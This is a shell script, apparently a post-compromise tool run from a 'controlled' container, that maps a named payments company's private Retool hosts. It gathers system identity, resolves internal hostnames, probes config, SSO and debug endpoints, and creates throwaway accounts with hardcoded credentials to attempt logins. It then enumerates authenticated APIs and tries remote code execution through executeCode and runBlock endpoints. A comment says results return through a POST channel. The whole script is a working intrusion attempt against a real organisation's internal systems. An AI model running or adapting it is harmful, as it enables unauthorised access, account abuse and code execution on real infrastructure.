123 lines
5.6 KiB
Bash
123 lines
5.6 KiB
Bash
#!/bin/sh
|
|
# Intent 20337: Retool private ALB surface probe from the controlled ECS pod.
|
|
# Everything is printed to stdout; the POST channel returns it verbatim.
|
|
|
|
C="curl -sk -m 7 --connect-timeout 3"
|
|
T=/tmp/rt20337
|
|
mkdir -p "$T" 2>/dev/null
|
|
|
|
probe() {
|
|
h="$1"; p="$2"; tag="$3"
|
|
$C -o "$T/b" -D "$T/h" -w "%{http_code} %{size_download}" "https://$h$p" >"$T/s" 2>"$T/e"
|
|
rc=$(cat "$T/s" 2>/dev/null)
|
|
echo "### $tag $h$p -> $rc"
|
|
grep -iE '^(server|x-retool|x-powered-by|content-type|location|content-length):' "$T/h" 2>/dev/null | tr -d '\r' | head -5
|
|
head -c 420 "$T/b" 2>/dev/null | tr '\r\n' ' '
|
|
echo
|
|
}
|
|
|
|
probea() {
|
|
h="$1"; p="$2"; tag="$3"; jar="$4"
|
|
$C -b "$jar" -c "$jar" -o "$T/b" -D "$T/h" -w "%{http_code} %{size_download}" "https://$h$p" >"$T/s" 2>"$T/e"
|
|
rc=$(cat "$T/s" 2>/dev/null)
|
|
echo "### $tag $h$p -> $rc"
|
|
grep -iE '^(server|x-retool|content-type|location):' "$T/h" 2>/dev/null | tr -d '\r' | head -4
|
|
head -c 420 "$T/b" 2>/dev/null | tr '\r\n' ' '
|
|
echo
|
|
}
|
|
|
|
reqj() {
|
|
h="$1"; p="$2"; tag="$3"; data="$4"; jar="$5"
|
|
if [ -n "$jar" ]; then JAR="-b $jar -c $jar"; else JAR=""; fi
|
|
$C $JAR -o "$T/b" -D "$T/h" -w "%{http_code} %{size_download}" -X POST \
|
|
-H "Content-Type: application/json" -H "Accept: application/json" \
|
|
--data-binary "$data" "https://$h$p" >"$T/s" 2>"$T/e"
|
|
rc=$(cat "$T/s" 2>/dev/null)
|
|
echo "### $tag $h$p -> $rc"
|
|
grep -iE '^(server|x-retool|content-type|location|set-cookie):' "$T/h" 2>/dev/null | tr -d '\r' | head -8
|
|
head -c 520 "$T/b" 2>/dev/null | tr '\r\n' ' '
|
|
echo
|
|
}
|
|
|
|
reqf() {
|
|
h="$1"; p="$2"; tag="$3"; data="$4"; jar="$5"
|
|
if [ -n "$jar" ]; then JAR="-b $jar -c $jar"; else JAR=""; fi
|
|
$C $JAR -o "$T/b" -D "$T/h" -w "%{http_code} %{size_download}" -X POST \
|
|
-H "Content-Type: application/x-www-form-urlencoded" -H "Accept: application/json" \
|
|
--data-binary "$data" "https://$h$p" >"$T/s" 2>"$T/e"
|
|
rc=$(cat "$T/s" 2>/dev/null)
|
|
echo "### $tag $h$p -> $rc"
|
|
grep -iE '^(server|x-retool|content-type|location|set-cookie):' "$T/h" 2>/dev/null | tr -d '\r' | head -8
|
|
head -c 520 "$T/b" 2>/dev/null | tr '\r\n' ' '
|
|
echo
|
|
}
|
|
|
|
echo "== ID"
|
|
id 2>&1
|
|
hostname -i 2>&1
|
|
uname -a 2>&1
|
|
|
|
echo "== DNS"
|
|
for h in retooldata.private.paystack.co retool.private.paystack.co retooldata-code-executor.private.paystack.co code-executor.private.paystack.co workflows.private.paystack.co retool-code-executor.private.paystack.co codeexecutor.private.paystack.co; do
|
|
r=$(getent hosts "$h" 2>/dev/null | head -2)
|
|
echo "$h => ${r:-NX}"
|
|
done
|
|
|
|
for h in retooldata.private.paystack.co retool.private.paystack.co; do
|
|
echo "==== HOST $h"
|
|
probe "$h" "/" "root"
|
|
echo "--- cfg-$h"
|
|
grep -oE '(SAML_ENABLED|DISABLE_USER_PASS_LOGIN|RESTRICTED_DOMAIN|VERSION_CONTROL_LOCKED|CLIENT_ID|MAIN_DOMAIN|SANDBOX_DOMAIN|VERSION)["'"'"']?[[:space:]]*[:=][[:space:]]*[^,;<]{0,90}' "$T/b" 2>/dev/null | head -12
|
|
probe "$h" "/api/checkHealth" "health"
|
|
probe "$h" "/api/version" "version"
|
|
probe "$h" "/api/status" "status"
|
|
probe "$h" "/api/config" "config"
|
|
probe "$h" "/api/organization/preAuthData" "preauth"
|
|
probe "$h" "/api/debug/sso" "ssodebug"
|
|
probe "$h" "/api/sso/saml/metadata" "samlmeta"
|
|
probe "$h" "/api/current_user" "curuser"
|
|
probe "$h" "/api/public/config" "pubconfig"
|
|
done
|
|
|
|
echo "== SIGNUP"
|
|
for h in retooldata.private.paystack.co retool.private.paystack.co; do
|
|
jar="$T/cj.$(echo "$h" | tr '.' '_')"
|
|
rm -f "$jar" 2>/dev/null
|
|
reqj "$h" "/api/signup" "signup-a" '{"email":"pstkrt20337a@maxxspace.com","password":"Pstk!Rt20337a"}' "$jar"
|
|
reqj "$h" "/api/signup" "signup-b" '{"email":"pstkrt20337b@maxxspace.com","password":"Pstk!Rt20337b","organizationName":"PstkOrg20337"}' "$jar"
|
|
reqj "$h" "/api/auth/login" "login-aj" '{"email":"pstkrt20337a@maxxspace.com","password":"Pstk!Rt20337a"}' "$jar"
|
|
reqj "$h" "/api/login" "login-j" '{"email":"pstkrt20337a@maxxspace.com","password":"Pstk!Rt20337a"}' "$jar"
|
|
reqf "$h" "/api/auth/login" "login-af" "email=pstkrt20337a%40maxxspace.com&password=Pstk%21Rt20337a" "$jar"
|
|
reqf "$h" "/api/login" "login-f" "email=pstkrt20337a%40maxxspace.com&password=Pstk%21Rt20337a" "$jar"
|
|
echo "--- cookies-$h"
|
|
cat "$jar" 2>/dev/null | grep -v '^#' | head -12
|
|
for p in users organizations groups folders apps resources permissions; do
|
|
probea "$h" "/api/$p" "auth-$p" "$jar"
|
|
done
|
|
reqj "$h" "/api/executeCode" "exec-nocookie" '{"code":"return 1+1;","runtime":{"language":"nodejs","version":"18.17"},"variablesInScope":{},"origin":"workflows"}' ""
|
|
reqj "$h" "/api/executeCode" "exec-cookie" '{"code":"return 1+1;","runtime":{"language":"nodejs","version":"18.17"},"variablesInScope":{},"origin":"workflows"}' "$jar"
|
|
reqj "$h" "/api/runBlock" "runblock-cookie" '{"appId":1,"pageId":1,"blockId":1}' "$jar"
|
|
reqj "$h" "/api/runMultipleBlocks" "runmulti-cookie" '{"appId":1,"pageId":1,"blocks":[]}' "$jar"
|
|
done
|
|
|
|
echo "== CANDIDATE HOSTS"
|
|
for h in retooldata-code-executor.private.paystack.co code-executor.private.paystack.co workflows.private.paystack.co retool-code-executor.private.paystack.co codeexecutor.private.paystack.co; do
|
|
ip=$(getent hosts "$h" 2>/dev/null | awk '{print $1}' | head -1)
|
|
if [ -n "$ip" ]; then
|
|
echo "-- $h -> $ip"
|
|
probe "$h" "/api/checkHealth" "ch-health"
|
|
$C -m 5 -o "$T/b" -w "http80 %{http_code}" "http://$h/api/checkHealth" >"$T/s" 2>"$T/e"
|
|
echo " -> $(cat "$T/s" 2>/dev/null)"
|
|
head -c 160 "$T/b" 2>/dev/null | tr '\r\n' ' '
|
|
echo
|
|
else
|
|
echo "-- $h -> NX"
|
|
fi
|
|
done
|
|
|
|
echo "== VARIANTS"
|
|
for p in /code-executor/api/checkHealth /v1/checkHealth /workflows/api/checkHealth /code-executor/api/executeCode /v1/executeCode; do
|
|
probe retooldata.private.paystack.co "$p" "variant"
|
|
done
|
|
|
|
echo "RTDONE"
|